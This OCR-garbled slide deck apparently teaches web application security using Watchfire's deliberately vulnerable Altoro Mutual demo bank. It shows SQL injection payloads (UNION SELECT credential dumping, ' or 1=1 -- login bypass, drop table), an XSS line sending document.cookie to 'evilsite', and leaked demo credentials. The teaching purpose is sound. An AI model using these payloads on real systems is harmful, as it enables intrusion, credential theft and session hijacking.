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Altoro Mutual: Recent Transactions - Windows Internet Explorer

L3> B |E. http:jfaltoro, testfire, net/bankftrans action, asp:x vl *2|| X |"==-'-':"-J|E |".:J T

links @] zp S diga ePMy @ MYT @ start @ ac @ EC {F emp BLSE G wallet W ASE

v <fr [@.ﬂ.ltoro Mutual: Recent Transactions l—l - B py - ik Page - {0 Tools -
I_\
Sign Off | Contact Us | Feedback | Searchl |
AltoroMutual E@
: :
= MY ACCOUNT PERSONAL | | INSIDE ALTORO MUTUAL
I WANTTO ... -

o View Account Summans Recent Transactions

® View Recent Transactions

® Customize Site Language S _
TransactionID Accountld Drascription Amount
20 1001160140 Rant 1100
21 1001160140 Deposit 1050.88
22 1001160140 Deposit 1050.88
23 1001160140 Car Payment 389.12
244 1001160140 Deposit 1050.88
27 100110140 Car Payment 389.12
68 1001160141 Deposit 877.8
T4 1001160141 Deposit 87s8.9
s 1001160141 Craeposit 881.1
1

Privacy Policy | Security Statement | & 2006 Altoro Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided
"as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please

go to http://vwew. watchfire.com/statements/terms.aspsx.

Copyright & 2006, Watchfire Corporation, All rights reserved.
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{= Altoro Mutual: Recent Transactions - Windows Internet Explorer
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@ Lo |£, htkp:flaltora, testFire net/bankftransaction. aspx

Clinks @ lzo Shidigg ERPMy @ NYT @start g ac @ EC {Femp Gl sk R wallet W AsE
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AltoroMutual

Sign Off | Contact Us | Feedback | Searchl

|

B MY ACCOUNT

-

I WANTTO ...

i A.01/01/2006 union select userid,null,username+','+password,null from users--

® View Account Summary

® View Recent Transactions

: m After |DDE union select useridl Bafore | | [ Submit ]

& Customize Site Lsnguage | U P O SAAd
TransactionID AccountId Drascription Amount
20 1001160140 Rant 1100 |
21 1001160140 Dreposit 1050.88 |
22 1001160140 Deposit 1050.88
23 1001160140 Car Payment 289.12 |
24 1001160140 Deposit 1050.88 [
27 1001160140 Car Payment 289.12 |
=1 1001160141 Deposit a77.8 [
T4 1001160141 Deposit 878.9 i
77 1001160141 Deposit g281.1
1

Privacy Policy | Security Statement | & 2006 Altoro Mutual, Inc.

go to http /v watchfire.com/statements/terms.aspx.

Copyright & 2006, Watchfire Corporation. All rights reserved.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
wvulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided
"as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please

[
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p’.:; Altoro Mutual: Recent Transactions - Windows Internet Explorer

y - |§, http:jfaltoro. testfire. net/bankftransaction, asp:x Vl || X | | |-

Clinks @] z0 Shidign ERMy @ NYT @start g ac @ EC {Femp Gl sF R wallet WP asE

i o [@.ﬁ.ltoro Mutual: Recent Transactions ] l ﬁ' - B Eéa - |-k Page - fj' Tools -
1001160140 Ueposit LUoU. g9 ~
23 1001160140 Car Payment 289.12 |
24 10011650140 Caeposit 1050.88
27 1001150140 Car Payme 389.12
a8 1001150141 877r.8
T4 1001160141
s 1.1
2853 150000
257 .B52Z26
363 879.95458
366 . 15732
378 878.85336
384 879.95468
387 1006160141 882.15732
419 1006160141 150180
10011014 jsmith,Demol234
100216018 sspeed,DemolZ34
100216012 tuser.tuser
100415016 admin.admin
100515010 sjoe, Frazier
100616014 eclay, Al
1
Erivacy Policy | Security Statement | & 2006 Altoro Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application
wvulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided
"as is" without warranty of any kind, either express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use, please
go to http:/ /v watchfire.com/statements/terms.aspex.

Copyright & 2006, Watchfire Corporation, All rights reserved.
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AltoroMutual

Sign In | Contact Us | Feedback | Eearchl
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LOGIM

PERSOMAL SMALL BUSINESS

INSIDE ALTORD MUTUAL

BERSCHMAL

& Deposit Product
Checking

Loan Products
Cards

Investments &

Insurance

& (Other Services

SMALL BUSINESS

& [eposit Products

Lending Services
Cards

Insurance

Eetirement

Other Services

INSIDE ALTORD MUTUAL
& About Us

Contact Us

Locations

Investor Relations

Online Banking Login

|' or 1=1 --

Username:
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Sign Off | Contact Us | Feedback | Sear"hl I:E'Z'I —

SR

B MY ACCOUNT PERSOMNAL SMALL BUSINESS | INSIDE ALTORO MUTUAL

AltoroMutual

I WANTTO ... e i
e i < Hello Admin User

T —

Summary

* View Recent Welcome to Altoro Mutual Online.

m [E1a) |

Transacticons

Transfer Funds Wiew Account Details:

Search Mews Articles

Customize Site

Langusge

ADMINISTRATION

® View Application
values
& Edit Users

Erivacy Policy | Security Statement | © 2009 Altoro Mutual, Inc.

The Altoro Mutual website is published by Watchfire, Inc. for the sole purpose of demonstrating the effectiveness of Watchfire

products in detecting web application vulnerabilities and website defects. This site is not 2 real banking site. Similarities, if any,
to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind. either
express or implied. Watchfire does not assume any risk in relation to your use of this website. For additional Terms of Use,

please go to http:/ /v watchfire.com/statements/terms.aspx.
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select USER from USERS_TABLE
where username = ‘Z @& A - # 1’
and password = ‘Z &@1E A\ S #H 2
EEEAGEN:
select USER from USERS_TABLE
where username = 'jsmith’
and password = '123456’
5 %A A SQL injectiongy gL * tkITFT A "or 1=1 -- FaHEE4E AL
select USER from USERS_TABLE
where username =" or 1=1 --'
and password = ‘(5 1@ fL47’
B A2 X AR A BN A
2R SQL & 26 & AEAR AL IR . ..
FER RSB ... jsmith’; drop table USERS; --
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AltoroMutual » g@t

An Error Has Occurred

RBHERE AL T? BEE T ETT |

Summary:

'@ntax error (missing operator) in query expression 'username = "' AND password = '1@

Error Message:

System.Data.OleDb.OleDbException: Syntax error {missing operator) in query expression 'username = "' AND password = =
'1224". at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling{ OleDbBHR.esult hr) at
System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult{tagDEPARAMS dbParams, Objecth

executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommandText{Objecth executeResult) at
System.Data.OleDb.OleDbCommand.ExecuteCommand{CommandBehavior behavior, Objectf executeResult) at
System.Data.OleDb.OleDbCommand.ExecuteReaderlnternal{CommandBehavior behavior, String method) at
System.Data.OleDb.OleDbCommand.ExecuteR eader{ CommandBehavior behavior) at
System.Data.OleDb.OleDbCommand.System.Data. IDBCommand.ExecuteReader{ CommandBehavior behavior) at
System.Data.Commeon.DbDatafdapter.Filllnternal{DataSet dataset. DataTable[] datatables, Int32 startRecord, Int32

maxRecords, String srcTable, IDBCommand command, CommandBehavior behavior) at
System.Data.Commeon.DbDatafdapter.Fill{DataSet dataSet, Int22 startRecord, Int32 maxRecords, String srcTable,

IDECommand command, CommandBehavior behavior) at System.Data.Common.DbDatafAdapter.FilliDataSet dataSet, String =

=
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AltoroMutual »

B MY ACCOUNT PERSOMNAL SMALL BUSINESS INSIDE ALTORO MUTUAL
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e s Search Results

Checking
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e T
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I ——

Insurance :

& Other Services

Mo results were found for the query:

SMALL BUSINESS
Deposit Products
Lending Services
Cards

Insurance e

Betirement
Other Services

INSIDE ALTORO MUTUAL
About Us

Contact Us
Locations
Investor Relations
Eress Room

&
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Z=¥1): Cross-site Scripting (XSS

AltoroMutual »

B MY ACCOUNT

PERSOMNAL

SMALL BUSINESS

INSIDE ALTORO MUTUAL

EERSOMAL

Deposit Product
Checking

Loan Products
Cards

Investments &
Insurance

& (COther Services

SMALL BUSINESS

# Deposit Preducts
Lending Services
Cards

Insurance
Eetirement

Othier Services

INSIDE ALTORO MUTUAL
& About Us
Contact Us

Locations

Investor Relations

Bress Roocm

q

Search Results

HITIUER
I —

>

Mo results were found for the query:
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zZ91]: Cross-site Scripting (XSS)

fe B A A
<script>document.write('<img src=http://evilsite/'+document.cookie);</script>
215 A & hysession Bk & & & S A XA BB 0 B A

| #BUED) [(2] hitp /i emo testtive netisearch aspx?bitSearch=ICseriptH3Edocument write 28 %27 %3Cime+ e %3 Dhitp 34 %2F %2Fevisite %2F %2 v | |

| Google[ 8 ~ _/“\ JEs S o B oEE | At O - @du

Sign In | Contact Us | Feadback | Segfch |<script=document.writ

_AItoroM/ “ 1>
. uﬂuﬂ‘

L ETRARZBMERI AR EEEATRSTT

W ONLINE BANKING
LOGIM

PERSOMAL SMALL BUSINESS INSIDE ALTORO MUTUAL

BERSOMNAL

Search Results

Deposit Product
Checking

Losn Products No results were found for the gquery:
Cards

Investments & |E|
Insurance

& Other Services

SMALL BUSINESS

#® [Deposit Products
#® lending Services
® Cards
.

Insurance
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7,<1§J Cross-site Scripting (XSS)

Attacker.com www.000

.C
RETURN
$ o

Reflected Code
<SCRIPT>Send Cookie to
attacker.com</SCRIPT>

Malicious Link
http://www.O0O.com.tw
/account.jsp? <SCRIPT>Send cookie to attacker.com
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/= Hotel Reservation Online - Transaciion Sip 20021959 - Windows Internet Explorer

. g
- " . . ._' i o} S I ; -
& S i it php?reserID mail= |4 X 2
\\ . s, >
W [B Hotel Reservaton Crline - 1 rarsacaon ... | - 8 m=h v hPage v O Tools ™
LY
Hotel Reservation Online A& @ ut 9 dmreserlD e 22001200
Dear MRS am,
As aresult of your resenvation 200319549
atthe hotel Le Meridien / Jakarta / Indonesia
for 2 nights (from Jan 23 2007 to Jan 25 2007)
we processed a credit card transaction an Jan 15, 2007,
The credit card transaction was successful.
The details of your transaction are as follows:
Reservation number: 20031959
Card Holder Name: Sam |l
CreditDebit Card: w000-000-000-2196
Expiration Date: 06/2007
Amount: 240.00 3GD
Date: Jan 15, 2007
silled as: [
YOU CAD == TaTTS g o
Flease note that this is not an invoice. An invoicewgl be issued 10 days after your check-out date.
|_You can get your invoice following this link, B
We hope yvou will have a nice stay at this hotel !
We are looking forward fo making a new resenvation for you !
With our thanks,
b
IDone Ly & Internet #1000, -
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T ifzrn,ﬁl;\f@ké 2 - RERE I B

A https\ i,

i B Y 1]

eceipt.php?rese(@=2001200&emai|=1 ) v B |[4]x

E**@i;'

Hotel Béservation Online - Transaction ... I ‘

h-8

LT softare

Pl

= v tPage v i Tods v

Hotel Reservation Online

Clear My, || stin

As a result of your reservation 2001200
atthe hotel Mikko Resort And Spa / Bali/ Indonesia

for 5 nights (from Jan 18 2006 to Jan 23 2006) G

we processed a credit card transaction on Jan 03, 2006.
The credit card tranzaction was successful.
The details of your transaction are as follows:

Resenation number: 2001200

Card Holder Marme: Justin AessGcumsum—m—m;
CreditDebit Card: wooeooo-00a-4683
Expiration Date: 08/2007

Amount: 506.61 USD

Date: Jan 03, 2006

Billed as: Im

You can print thi

R BB P E R 5 A e

@, 4 £ 7E g E-mall

& note that this is not an invoice, AMgice will be issued 10 days after your check-out date.

You can get your invoice following this Iir{lj,)

We hope you will have a nice stay at this hotel !
Ve are looking forward to making a new reservation for you !
With our thanks,

. N

>

b

hitps:/ oy [ G i . 7reser[D= 200 1?06%!@hotmw (¢ & Intemet

# 100%

-
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Ta . . ustin

Company

Address 23 I - stralia
Fhone 61

RECEIPT/ TAX INVOICE #2001200
Date Jan 30 2006

ERIRE > ZEL HHHE
HHF\“O ‘%) :k ;é{‘H'%lg’- s n\ﬁ

Description Nights Rate Amount

Booking reference 2001200 at hotel :
MNikko Resort And Spa / Bali / Indonesia

Perniod :
From Jan 18 2006 to Jan 23 2006 (5 night(s))

Ocean View Room, Breakfast Included 5 138
2 adult{s), 0 child{ren), 0 infant(s)

690.00 ALUD

TOTAL AMOUNT 506.61 USD

The Payment, billed as 1IN - =ccived by credit card, on Jan 03, 2006, to our account fram
- - i — :

Card Holder Mame

Credit'Debit Card

Expiration Date

Justin I
JOO0-I000-000-4688
0812007

We hope youw had a nice stay at this hotel !

We are looking forward to making a new resernvation for you !
With our thanks,

IDone [ & Internet

F100%%

-
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Broadcast Yourself™

Channels

A

| Hatlnnal.‘ software

=
Home Videos Channels
|app|i|:ati|:|r1 hacking | |‘u’ide::|5 [1][ Searcl
“application hacking” videz results 1 - 20 of about 1,490
H Sort by: Uploaded: Type
FIa?IISts Relevance™ Anytime™ Al

&

Hacking Internet Banking Applications

Source: http:/video hith.org/2005.html The general public
sentiment is that the banks, having always been the guardians ...
[more}

How 1o hack pets facebook application

Click more
httpfrapidshare.comfiles/d7E868580/hackpetsfinal wimv Crignal
videao, (much clearer and scunds normal} Easy .. {more)

How to download Hacking Application

This video is a part of http:Aasww youtube. comiwatch Pwv=_cl-zZkKxklo
this video and hitprwww . youtube. comfwatch?v ... (more)

How 1o Hack Facebook

Detailed Instructions Below: Tool needed: Internet Browser (1 used
firefox with google toolbar) Facebook Account Mood ... (more)

Flaylist Hesuls Tor application hacking

frienster myspace facebook hackers (1 5 Wideos)

£ s = &z ...
B o [ == '“""— iy o
e e o T N —1 videos
B8 s 85 -

hacking friend=ster

#PART 1

hacking friend=ster
HPART 2

My=zpace Account
Hackirg

Hacking SQL Server

In this presentation atthe Jacksonville SQL Server Users Sroup,
Baver White playsS the part of a developer protecting his ... (more)

Added:& months ago
From: pefilm
Views:5293

w3 e i

o740

Added:1 year ago
From: vimesupto1 00
View =24 283

e e e e

01:458

Added: 3 months ago
From: utubevideos00
YWiew =9 607
e e e

0n2:42

Added:1 year ago
From: tonyls09
Wiew s 428 275
e e

04:28

LUpdated: 3 days ago
From: kis==zha

Added:1 year ago
From: dbaguyjax
Wiews s 44 917
e

09:53
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FERRE=EE R[S
Cross Site BEMEEI - BAK | BEERSENERE > HIF
scripting 7% & Session ~ ﬁ_ﬁ A | EkP

FHERBRPIATEERELRA

Injection Flaws BL B 7T LAHAL 36 A Hudo %? FERREMNE » BRREK
DB, LDAP% #4744 | BH

Malicious File FE ) AR % E #h47shell WIS BRI A S G
Execution commands > A E | ME 2| BRI %

2| T yEH

Insecure Direct BEITAGERETNE (WebA2 LA BB OB BHEY

Object Reference | £ 3 &R N K 5| B R 8 E K
Cross-Site BEITUERAXGEHEY BREEZKELEF NEHE A

Request Forgery | {& f 44T HAkdetny | T etk P
TE
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Improper Error oYy iE45 7] oUE ER O RETRERIT
Handling SQL |nject|ona iR AE 8 = JE B IR
Broken Session tokens 2 A #% | Hacker{# A % & &9 Session ID >

Authentication &
Session

153 22 i 7 &L
1t LA ER Ak 75 B fE A

3 5 Wi A8 A 2 B4R Y
Session

Management

Insecure B IRE RHATIRE R | % B (4SSN, Credit Cards)

Cryptographic 2 5y 049 7T LUBE AR % B B AL 1% R IR

Storage

Insecure WMEBHBEARBIE M | BBREH WA httpﬁf—a‘é"ffé& T

Communications | % - ftﬂ:-éci\éﬁ BEE | RERNEGERABTR AES
BT HERFER | XEH

Failure to Restrict | ETUGFRALHKE |BEFECBHEARGREESLSL
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An E-Madl alert was trigged by the following event: <event> .
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Malware Scanner analyzes all explored content and links for malicious indicators.
Note: only content and links already explored in this scan wall be analyzed.

Evaluating content of url hitp f/demo testiire.net/search.aspx?idSearch=1234

Evaluating content of url hitp://demo tesffire_net/default aspx?content=inside_contact htm
Evaluating content of url hitp:fjdemao testfire netffeedback aspx

Evaluating content of url hitp:ffdemo testire net/default aspx

Evaluating content of url hitp:/{demo testiire net/default aspx?content=personal htm
Evaluating content of urd hitp://demo testiire.net/subscribe swi

Ewvaluating content of url hitp:f{demo testiire net/default aspx?contant=business. him
Evaluating content of url hitp://demo tesffire.net/default aspx?content=inside him

Evaluating content of url hitp:f/demo.testiire.net/default aspx?content=personal_deposithtm
Evaluating content of url hitp:{demo testire net/default dspx"“l:.untﬂ nt=personal_checking him
Evaluating content of url hitp:f{demo testfire net/default aspx?content=personal_loans htm
Evaluating content of url hitp:ffdemo.testiire. net/default aspx?content=personal_cards htm
Evaluating content of ur hitp:f/demo testfire net/default aspx?content=personal_investments.him
Evaluating content of url hitp:f/demo testfire net/default aspx?content=personal_other him
Evaluating content of url hitp:ffdemo testiire.net/default aspx?content=business_deposit htm
Evaluating content of url hitp:f{demo tesffire net/default aspx?content=business_lending htm
Evaluating content of url http://demotestire netbank/quenyxpath.aspx

Evaluating content of url hitp://demo testire.net/bank/customize. aspx

Evaluating content of url hitp:/{demo testfire_net/bank/apply.aspx

Evaluating content of url hitp:f/demo testiire nel/survey_questions_ aspx

Evaluating content of url hitp://demo tesffire.net/comment aspx

Evaluating content of ur hitp:/{demo.testire_net/bankftransaction.aspx

Evaluating content of ur hitp:fidemo.testire netbankftransfer.aspx

Stop Scan request logged

Scan Complete
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